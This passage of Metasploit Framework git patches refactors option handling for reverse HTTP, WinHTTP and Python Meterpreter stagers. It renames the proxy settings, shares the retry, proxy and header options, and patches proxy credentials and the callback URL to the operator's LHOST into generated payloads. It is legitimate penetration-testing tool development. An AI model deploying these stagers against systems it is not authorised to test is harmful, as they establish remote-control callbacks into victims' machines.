       custom_headers:  get_custom_headers(ds)
     }.merge(timeout_config(opts))
   end
diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb
index 5ee674b3ac..3d6729b199 100644
--- a/lib/msf/core/payload/windows/reverse_http.rb
+++ b/lib/msf/core/payload/windows/reverse_http.rb
@@ -32,14 +32,14 @@ module Payload::Windows::ReverseHttp
         OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
           aliases: ['ReverseConnectRetries']),
         OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
-        OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
-        OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
-        OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
-        OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
-        OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
-        OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
-        OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
-        OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
+        OptString.new('HttpProxyHost', 'An optional proxy server IP address or hostname', aliases: ['PayloadProxyHost']),
+        OptPort.new('HttpProxyPort', 'An optional proxy server port', aliases: ['PayloadProxyPort']),
+        OptString.new('HttpProxyUser', 'An optional proxy server username', aliases: ['PayloadProxyUser']),
+        OptString.new('HttpProxyPass', 'An optional proxy server password', aliases: ['PayloadProxyPass']),
+        OptEnum.new('HttpProxyType', 'The type of HTTP proxy (HTTP or SOCKS)', enums: ['HTTP', 'SOCKS'], aliases: ['PayloadProxyType']),
+        OptString.new('HttpHeaderHost', 'An optional value to use for the Host HTTP header'),
+        OptString.new('HttpHeaderCookie', 'An optional value to use for the Cookie HTTP header'),
+        OptString.new('HttpHeaderReferer', 'An optional value to use for the Referer HTTP header')
       ], self.class)
   end
 
@@ -60,12 +60,12 @@ module Payload::Windows::ReverseHttp
     if self.available_space.nil? || required_space <= self.available_space
       conf[:url]            = luri + generate_uri(opts)
       conf[:exitfunk]       = ds['EXITFUNC']
-      conf[:ua]             = ds['MeterpreterUserAgent']
-      conf[:proxy_host]     = ds['PayloadProxyHost']
-      conf[:proxy_port]     = ds['PayloadProxyPort']
-      conf[:proxy_user]     = ds['PayloadProxyUser']
-      conf[:proxy_pass]     = ds['PayloadProxyPass']
-      conf[:proxy_type]     = ds['PayloadProxyType']
+      conf[:ua]             = ds['HttpUserAgent']
+      conf[:proxy_host]     = ds['HttpProxyHost']
+      conf[:proxy_port]     = ds['HttpProxyPort']
+      conf[:proxy_user]     = ds['HttpProxyUser']
+      conf[:proxy_pass]     = ds['HttpProxyPass']
+      conf[:proxy_type]     = ds['HttpProxyType']
       conf[:custom_headers] = get_custom_headers(ds)
     else
       # Otherwise default to small URIs
diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb
index f30dbefa15..380a3141da 100644
--- a/lib/msf/core/payload/windows/reverse_winhttp.rb
+++ b/lib/msf/core/payload/windows/reverse_winhttp.rb
@@ -21,7 +21,7 @@ module Payload::Windows::ReverseWinHttp
   def initialize(*args)
     super
     register_advanced_options([
-        OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
+        OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
       ], self.class)
   end
 
@@ -41,13 +41,13 @@ module Payload::Windows::ReverseWinHttp
       conf[:uri]              = luri + generate_uri
       conf[:exitfunk]         = ds['EXITFUNC']
       conf[:verify_cert_hash] = opts[:verify_cert_hash]
-      conf[:proxy_host]       = ds['PayloadProxyHost']
-      conf[:proxy_port]       = ds['PayloadProxyPort']
-      conf[:proxy_user]       = ds['PayloadProxyUser']
-      conf[:proxy_pass]       = ds['PayloadProxyPass']
-      conf[:proxy_type]       = ds['PayloadProxyType']
+      conf[:proxy_host]       = ds['HttpProxyHost']
+      conf[:proxy_port]       = ds['HttpProxyPort']
+      conf[:proxy_user]       = ds['HttpProxyUser']
+      conf[:proxy_pass]       = ds['HttpProxyPass']
+      conf[:proxy_type]       = ds['HttpProxyType']
       conf[:retry_count]      = ds['StagerRetryCount']
-      conf[:proxy_ie]         = ds['PayloadProxyIE']
+      conf[:proxy_ie]         = ds['HttpProxyIE']
       conf[:custom_headers]   = get_custom_headers(ds)
     else
       # Otherwise default to small URIs
diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb
index 4821709236..4182e80e31 100644
--- a/lib/msf/core/payload/windows/x64/reverse_http.rb
+++ b/lib/msf/core/payload/windows/x64/reverse_http.rb
@@ -32,14 +32,14 @@ module Payload::Windows::ReverseHttp_x64
         OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
           aliases: ['ReverseConnectRetries']),
         OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
-        OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
-        OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
-        OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
-        OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
-        OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
-        OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
-        OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
-        OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
+        OptString.new('HttpProxyHost', 'An optional proxy server IP address or hostname', aliases: ['PayloadProxyHost']),
+        OptPort.new('HttpProxyPort', 'An optional proxy server port', aliases: ['PayloadProxyPort']),
+        OptString.new('HttpProxyUser', 'An optional proxy server username', aliases: ['PayloadProxyUser']),
+        OptString.new('HttpProxyPass', 'An optional proxy server password', aliases: ['PayloadProxyPass']),
+        OptEnum.new('HttpProxyType', 'The type of HTTP proxy (HTTP or SOCKS)', enums: ['HTTP', 'SOCKS'], aliases: ['PayloadProxyType']),
+        OptString.new('HttpHeaderHost', 'An optional value to use for the Host HTTP header'),
+        OptString.new('HttpHeaderCookie', 'An optional value to use for the Cookie HTTP header'),
+        OptString.new('HttpHeaderReferer', 'An optional value to use for the Referer HTTP header')
       ], self.class)
   end
 
@@ -65,12 +65,12 @@ module Payload::Windows::ReverseHttp_x64
     if self.available_space.nil? || required_space <= self.available_space
       conf[:url]        = luri + generate_uri(opts)
       conf[:exitfunk]   = ds['EXITFUNC']
-      conf[:ua]         = ds['MeterpreterUserAgent']
-      conf[:proxy_host] = ds['PayloadProxyHost']
-      conf[:proxy_port] = ds['PayloadProxyPort']
-      conf[:proxy_user] = ds['PayloadProxyUser']
-      conf[:proxy_pass] = ds['PayloadProxyPass']
-      conf[:proxy_type] = ds['PayloadProxyType']
+      conf[:ua]         = ds['HttpUserAgent']
+      conf[:proxy_host] = ds['HttpProxyHost']
+      conf[:proxy_port] = ds['HttpProxyPort']
+      conf[:proxy_user] = ds['HttpProxyUser']
+      conf[:proxy_pass] = ds['HttpProxyPass']
+      conf[:proxy_type] = ds['HttpProxyType']
       conf[:custom_headers] = get_custom_headers(ds)
      else
       # Otherwise default to small URIs
diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb
index 358115e464..419946be1e 100644
--- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb
+++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb
@@ -22,7 +22,7 @@ module Payload::Windows::ReverseWinHttp_x64
   def initialize(*args)
     super
     register_advanced_options([
-        OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
+        OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
       ], self.class)
   end
 
@@ -42,13 +42,13 @@ module Payload::Windows::ReverseWinHttp_x64
       conf[:uri]              = luri + generate_uri
       conf[:exitfunk]         = ds['EXITFUNC']
       conf[:verify_cert_hash] = opts[:verify_cert_hash]
-      conf[:proxy_host]       = ds['PayloadProxyHost']
-      conf[:proxy_port]       = ds['PayloadProxyPort']
-      conf[:proxy_user]       = ds['PayloadProxyUser']
-      conf[:proxy_pass]       = ds['PayloadProxyPass']
-      conf[:proxy_type]       = ds['PayloadProxyType']
+      conf[:proxy_host]       = ds['HttpProxyHost']
+      conf[:proxy_port]       = ds['HttpProxyPort']
+      conf[:proxy_user]       = ds['HttpProxyUser']
+      conf[:proxy_pass]       = ds['HttpProxyPass']
+      conf[:proxy_type]       = ds['HttpProxyType']
       conf[:retry_count]      = ds['StagerRetryCount']
-      conf[:proxy_ie]         = ds['PayloadProxyIE']
+      conf[:proxy_ie]         = ds['HttpProxyIE']
       conf[:custom_headers]   = get_custom_headers(ds)
     else
       # Otherwise default to small URIs
diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb
index 766c741332..ba77689d2a 100644
--- a/modules/payloads/stagers/windows/reverse_https_proxy.rb
+++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb
@@ -80,8 +80,8 @@ module MetasploitModule
     p[i, u.length] = u
 
     # patch proxy info
-    proxyhost = datastore['PayloadProxyHost'].to_s
-    proxyport = datastore['PayloadProxyPort'].to_s || "8080"
+    proxyhost = datastore['HttpProxyHost'].to_s
+    proxyport = datastore['HttpProxyPort'].to_s || "8080"
 
     if Rex::Socket.is_ipv6?(proxyhost)
       proxyhost = "[#{proxyhost}]"
@@ -91,7 +91,7 @@ module MetasploitModule
     if proxyport == "80"
       proxyinfo = proxyhost
     end
-    if datastore['PayloadProxyType'].to_s == 'HTTP'
+    if datastore['HttpProxyType'].to_s == 'HTTP'
       proxyinfo = 'http://' + proxyinfo
     else #socks
       proxyinfo = 'socks=' + proxyinfo
@@ -105,22 +105,22 @@ module MetasploitModule
     p[proxyloc-4] = [calloffset].pack('V')[0]
 
     # Authentication credentials have not been specified
-    if datastore['PayloadProxyUser'].to_s == '' or
-       datastore['PayloadProxyPass'].to_s == '' or
-       datastore['PayloadProxyType'].to_s     == 'SOCKS'
+    if datastore['HttpProxyUser'].to_s == '' ||
+       datastore['HttpProxyPass'].to_s == '' ||
+       datastore['HttpProxyType'].to_s == 'SOCKS'
 
       jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
 
       # Remove the authentication code
       p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
     else
-      username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length
-      password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length
+      username_size_diff = 14 - datastore['HttpProxyUser'].to_s.length
+      password_size_diff = 14 - datastore['HttpProxyPass'].to_s.length
       jmp_offset =
         16 + # PROXY_AUTH_START length
         15 + # PROXY_AUTH_STOP length
-        username_size_diff + # Difference between datastore PayloadProxyUser length  and db "PayloadProxyUser length"
-        password_size_diff   # Same with PayloadProxyPass
+        username_size_diff + # Difference between datastore HttpProxyUser length  and db "HttpProxyUser length"
+        password_size_diff   # Same with HttpProxyPass
 
       # Patch call offset
       username_loc = p.index("PROXY_USERNAME")
@@ -131,8 +131,8 @@ module MetasploitModule
       # Remove markers & change login/password
       p = p.gsub("PROXY_AUTH_START","")
       p = p.gsub("PROXY_AUTH_STOP","")
-      p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s)
-      p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s)
+      p = p.gsub("PROXY_USERNAME", datastore['HttpProxyUser'].to_s)
+      p = p.gsub("PROXY_PASSWORD", datastore['HttpProxyPass'].to_s)
     end
 
     # Patch jmp dbl_get_server_host

From 2076db2d6170515e6ed107fd7d9198f3016a7cc2 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 21 Sep 2017 02:38:17 -0500
Subject: [PATCH 175/254] DRY up common stager and payload http and retry
 options

---
 lib/msf/core/handler/reverse_tcp.rb           | 12 +---
 lib/msf/core/opt.rb                           | 67 ++++++++++++++++++-
 lib/msf/core/payload/android/reverse_http.rb  |  6 +-
 lib/msf/core/payload/java/reverse_http.rb     | 14 ++--
 lib/msf/core/payload/multi/reverse_http.rb    | 15 ++---
 .../core/payload/python/meterpreter_loader.rb | 21 ++++--
 lib/msf/core/payload/python/reverse_http.rb   | 12 ++--
 lib/msf/core/payload/python/reverse_tcp.rb    |  6 +-
 .../core/payload/python/reverse_tcp_ssl.rb    |  6 +-
 lib/msf/core/payload/windows/reverse_http.rb  | 20 ++----
 .../core/payload/windows/x64/reverse_http.rb  | 20 ++----
 11 files changed, 114 insertions(+), 85 deletions(-)

diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb
index d938d46934..2cba8cf02a 100644
--- a/lib/msf/core/handler/reverse_tcp.rb
+++ b/lib/msf/core/handler/reverse_tcp.rb
@@ -45,15 +45,6 @@ module ReverseTcp
     # XXX: Not supported by all modules
     register_advanced_options(
       [
-        OptInt.new(
-          'StagerRetryCount',
-          [ true, 'The number of connection attempts to try before exiting the process', 10 ],
-          aliases: ['ReverseConnectRetries']
-        ),
-        OptFloat.new(
-          'StagerRetryWait',
-          [ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ]
-        ),
         OptAddress.new(
           'ReverseListenerBindAddress',
           [ false, 'The specific IP address to bind to on the local system' ]
@@ -62,7 +53,8 @@ module ReverseTcp
           'ReverseListenerThreaded',
           [ true, 'Handle every connection in a new thread (experimental)', false ]
         )
-      ],
+      ] +
+      Msf::Opt::stager_retry_options,
       Msf::Handler::ReverseTcp
     )
 
diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb
index 3d622aff72..3009710a1e 100644
--- a/lib/msf/core/opt.rb
+++ b/lib/msf/core/opt.rb
@@ -59,12 +59,77 @@ module Msf
 
     # @return [OptEnum]
     def self.SSLVersion
-      Msf::OptEnum.new('SSLVersion',
+      Msf::OptEnum.new(
+        'SSLVersion',
         'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
         enums: self.ssl_supported_options
       )
     end
 
+    def self.stager_retry_options
+      [
+        OptInt.new(
+          'StagerRetryCount',
+          'The number of times the stager should retry if the first connect fails',
+          default: 10,
+          aliases: ['ReverseConnectRetries']
+        ),
+        OptInt.new(
+          'StagerRetryWait',
+          'Number of seconds to wait for the stager between reconnect attempts',
+          default: 5
+        )
+      ]
+    end
+
+    def self.http_proxy_options
+      [
+        OptString.new(
+          'HttpProxyHost',
+          'An optional proxy server IP address or hostname',
+          aliases: ['PayloadProxyHost']
+        ),
+        OptPort.new(
+          'HttpProxyPort',
+          'An optional proxy server port',
+          aliases: ['PayloadProxyPort']
+        ),
+        OptString.new(
+          'HttpProxyUser',
+          'An optional proxy server username',
+          aliases: ['PayloadProxyUser']
+        ),
+        OptString.new(
+          'HttpProxyPass',
+          'An optional proxy server password',
+          aliases: ['PayloadProxyPass']
+        ),
+        OptEnum.new(
+          'HttpProxyType',
+          'The type of HTTP proxy',
+          enums: ['HTTP', 'SOCKS'],
+          aliases: ['PayloadProxyType']
+        )
+      ]
+    end
+
+    def self.http_header_options
+      [
+        OptString.new(
+          'HttpHeaderHost',
+          'An optional value to use for the Host HTTP header'
+        ),
+        OptString.new(
+          'HttpHeaderCookie',
+          'An optional value to use for the Cookie HTTP header'
+        ),
+        OptString.new(
+          'HttpHeaderReferer',
+          'An optional value to use for the Referer HTTP header'
+        )
+      ]
+    end
+
     CHOST = CHOST()
     CPORT = CPORT()
     LHOST = LHOST()
diff --git a/lib/msf/core/payload/android/reverse_http.rb b/lib/msf/core/payload/android/reverse_http.rb
index e75e4618a3..88777d355e 100644
--- a/lib/msf/core/payload/android/reverse_http.rb
+++ b/lib/msf/core/payload/android/reverse_http.rb
@@ -23,11 +23,7 @@ module Payload::Android::ReverseHttp
   #
   def initialize(*args)
     super
-    register_advanced_options([
-        OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
-        OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
-        OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
-      ], self.class)
+    register_advanced_options(Msf::Opt::http_header_options)
   end
 
   #
diff --git a/lib/msf/core/payload/java/reverse_http.rb b/lib/msf/core/payload/java/reverse_http.rb
index b0c1fc0d66..297184e92d 100644
--- a/lib/msf/core/payload/java/reverse_http.rb
+++ b/lib/msf/core/payload/java/reverse_http.rb
@@ -23,13 +23,13 @@ module Payload::Java::ReverseHttp
   #
   def initialize(*args)
     super
-    register_advanced_options([
-      OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
-      OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
-      OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
-      OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
-      OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header']),
-    ])
+    register_advanced_options(
+      [
+        OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
+        OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
+      ] +
+      Msf::Opt::http_header_options
+    )
   end
 
   #
diff --git a/lib/msf/core/payload/multi/reverse_http.rb b/lib/msf/core/payload/multi/reverse_http.rb
index 9d9f45de1c..1acb8f94e1 100644
--- a/lib/msf/core/payload/multi/reverse_http.rb
+++ b/lib/msf/core/payload/multi/reverse_http.rb
@@ -22,15 +22,12 @@ module Payload::Multi::ReverseHttp
   #
   def initialize(*args)
     super
-    register_advanced_options([
-        OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)'),
-        OptInt.new('StagerRetryCount', 'The number of times the stager should retry if the first connect fails', default: 10, aliases: ['ReverseConnectRetries']),
-        OptString.new('HttpProxyHost', 'An optional proxy server IP address or hostname', aliases: ['PayloadProxyHost']),
-        OptPort.new('HttpProxyPort', 'An optional proxy server port', aliases: ['PayloadProxyPort']),
-        OptString.new('HttpProxyUser', 'An optional proxy server username', aliases: ['PayloadProxyUser']),
-        OptString.new('HttpProxyPass', 'An optional proxy server password', aliases: ['PayloadProxyPass']),
-        OptEnum.new('HttpProxyType', 'The type of HTTP proxy (HTTP or SOCKS)', enums: ['HTTP', 'SOCKS'], aliases: ['PayloadProxyType'])
-      ])
+    register_advanced_options(
+      [ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
+      Msf::Opt::stager_retry_options +
+      Msf::Opt::http_header_options +
+      Msf::Opt::http_proxy_options
+    )
   end
 
   #
diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb
index 0b8c97210b..7f4935bc4b 100644
--- a/lib/msf/core/payload/python/meterpreter_loader.rb
+++ b/lib/msf/core/payload/python/meterpreter_loader.rb
@@ -28,13 +28,20 @@ module Payload::Python::MeterpreterLoader
       'Stager'        => {'Payload' => ""}
     ))
 
-    register_advanced_options([
-      OptBool.new('MeterpreterTryToFork', [ true, 'Fork a new process if the functionality is available', true ]),
-      OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]),
-      OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
-      OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
-      OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
-    ], self.class)
+    register_advanced_options(
+      [
+        OptBool.new(
+          'MeterpreterTryToFork',
+          'Fork a new process if the functionality is available',
+          default: true
+        ),
+        OptBool.new(
+          'PythonMeterpreterDebug',
+          'Enable debugging for the Python meterpreter'
+        ),
+      ] +
+      Msf::Opt::http_header_options
+    )
   end
 
   def stage_payload(opts={})
diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb
index 9dac5a71cd..30a0e34fe3 100644
--- a/lib/msf/core/payload/python/reverse_http.rb
+++ b/lib/msf/core/payload/python/reverse_http.rb
@@ -11,14 +11,10 @@ module Payload::Python::ReverseHttp
 
   def initialize(info = {})
     super(info)
-    register_options(
-      [
-        OptString.new('HttpProxyHost', [ false, "The proxy server's IP address" ], aliases: ['PayloadProxyHost']),
-        OptPort.new('HttpProxyPort', [ true, "The proxy port to connect to", 8080 ], aliases: ['PayloadProxyHost']),
-        OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
-        OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
-        OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
-      ], self.class)
+    register_advanced_options(
+      Msf::Opt::http_header_options +
+      Msf::Opt::http_proxy_options
+    )
   end
 
   #
diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb
index 8369602654..77481ecbb3 100644
--- a/lib/msf/core/payload/python/reverse_tcp.rb
+++ b/lib/msf/core/payload/python/reverse_tcp.rb
@@ -18,11 +18,7 @@ module Payload::Python::ReverseTcp
 
   def initialize(*args)
     super
-    register_advanced_options([
-        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
-          aliases: ['ReverseConnectRetries']),
-        OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
-      ], self.class)
+    register_advanced_options(Msf::Opt::stager_retry_options)
   end
 
   #
diff --git a/lib/msf/core/payload/python/reverse_tcp_ssl.rb b/lib/msf/core/payload/python/reverse_tcp_ssl.rb
index ee65afe0ab..b1fcecdde7 100644
--- a/lib/msf/core/payload/python/reverse_tcp_ssl.rb
+++ b/lib/msf/core/payload/python/reverse_tcp_ssl.rb
@@ -17,11 +17,7 @@ module Payload::Python::ReverseTcpSsl
   include Msf::Payload::Python::ReverseTcp
   def initialize(*args)
     super
-    register_advanced_options([
-        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
-          aliases: ['ReverseConnectRetries']),
-        OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
-      ], self.class)
+    register_advanced_options(Msf::Opt::stager_retry_options)
   end
 
   #
diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb
index 3d6729b199..c5895d9f2a 100644
--- a/lib/msf/core/payload/windows/reverse_http.rb
+++ b/lib/msf/core/payload/windows/reverse_http.rb
@@ -27,20 +27,12 @@ module Payload::Windows::ReverseHttp
   #
   def initialize(*args)
     super
-    register_advanced_options([
-        OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
-        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
-          aliases: ['ReverseConnectRetries']),
-        OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
-        OptString.new('HttpProxyHost', 'An optional proxy server IP address or hostname', aliases: ['PayloadProxyHost']),
-        OptPort.new('HttpProxyPort', 'An optional proxy server port', aliases: ['PayloadProxyPort']),
-        OptString.new('HttpProxyUser', 'An optional proxy server username', aliases: ['PayloadProxyUser']),
-        OptString.new('HttpProxyPass', 'An optional proxy server password', aliases: ['PayloadProxyPass']),
-        OptEnum.new('HttpProxyType', 'The type of HTTP proxy (HTTP or SOCKS)', enums: ['HTTP', 'SOCKS'], aliases: ['PayloadProxyType']),
-        OptString.new('HttpHeaderHost', 'An optional value to use for the Host HTTP header'),
-        OptString.new('HttpHeaderCookie', 'An optional value to use for the Cookie HTTP header'),
-        OptString.new('HttpHeaderReferer', 'An optional value to use for the Referer HTTP header')
-      ], self.class)
+    register_advanced_options(
+      [ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
+      Msf::Opt::stager_retry_options +
+      Msf::Opt::http_header_options +
+      Msf::Opt::http_proxy_options
+    )
   end
 
   #
diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb
index 4182e80e31..f31cf1ca24 100644
--- a/lib/msf/core/payload/windows/x64/reverse_http.rb
+++ b/lib/msf/core/payload/windows/x64/reverse_http.rb
@@ -27,20 +27,12 @@ module Payload::Windows::ReverseHttp_x64
   #
   def initialize(*args)
     super
-    register_advanced_options([
-        OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
-        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
-          aliases: ['ReverseConnectRetries']),
-        OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
-        OptString.new('HttpProxyHost', 'An optional proxy server IP address or hostname', aliases: ['PayloadProxyHost']),
-        OptPort.new('HttpProxyPort', 'An optional proxy server port', aliases: ['PayloadProxyPort']),
-        OptString.new('HttpProxyUser', 'An optional proxy server username', aliases: ['PayloadProxyUser']),
-        OptString.new('HttpProxyPass', 'An optional proxy server password', aliases: ['PayloadProxyPass']),
-        OptEnum.new('HttpProxyType', 'The type of HTTP proxy (HTTP or SOCKS)', enums: ['HTTP', 'SOCKS'], aliases: ['PayloadProxyType']),
-        OptString.new('HttpHeaderHost', 'An optional value to use for the Host HTTP header'),
-        OptString.new('HttpHeaderCookie', 'An optional value to use for the Cookie HTTP header'),
-        OptString.new('HttpHeaderReferer', 'An optional value to use for the Referer HTTP header')
-      ], self.class)
+    register_advanced_options(
+      [ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
+      Msf::Opt::stager_retry_options +
+      Msf::Opt::http_header_options +
+      Msf::Opt::http_proxy_options
+    )
   end
 
   def transport_config(opts={})

From 37ab771ca9d2fbc24c55da443cbb8ead997a161d Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 21 Sep 2017 03:02:13 -0500
Subject: [PATCH 176/254] uri is not always defined, fix python stager
 generation

---
 .../core/payload/python/meterpreter_loader.rb | 42 ++++++++++---------
 1 file changed, 22 insertions(+), 20 deletions(-)

diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb
index 7f4935bc4b..11cb72d6c7 100644
--- a/lib/msf/core/payload/python/meterpreter_loader.rb
+++ b/lib/msf/core/payload/python/meterpreter_loader.rb
@@ -105,28 +105,30 @@ module Payload::Python::MeterpreterLoader
     # The callback URL can be different to the one that we're receiving from the interface
     # so we need to generate it
     # TODO: move this to somewhere more common so that it can be used across payload types
-    uri = "/#{(opts[:uri].to_s == '' ? opts[:url] : opts[:uri].to_s).split('/').reject(&:empty?)[-1]}"
-    callback_url = [
-      opts[:url].split(':')[0],
-      '://',
-      (ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
-      ':',
-      (ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
-      ds['LURI'].to_s,
-      uri,
-      '/'
-    ].join('')
+    unless opts[:url].to_s == ''
+      uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
+      callback_url = [
+        opts[:url].to_s.split(':')[0],
+        '://',
+        (ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
+        ':',
+        (ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
+        ds['LURI'].to_s,
+        uri,
+        '/'
+      ].join('')
 
-    # patch in the various payload related configuration
-    met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
-    met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
-    met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != ''
-    met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != ''
-    met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
+      # patch in the various payload related configuration
+      met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
+      met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
+      met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != ''
+      met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != ''
+      met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
 
-    if http_proxy_host.to_s != ''
-      proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
-      met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
+      if http_proxy_host.to_s != ''
+        proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
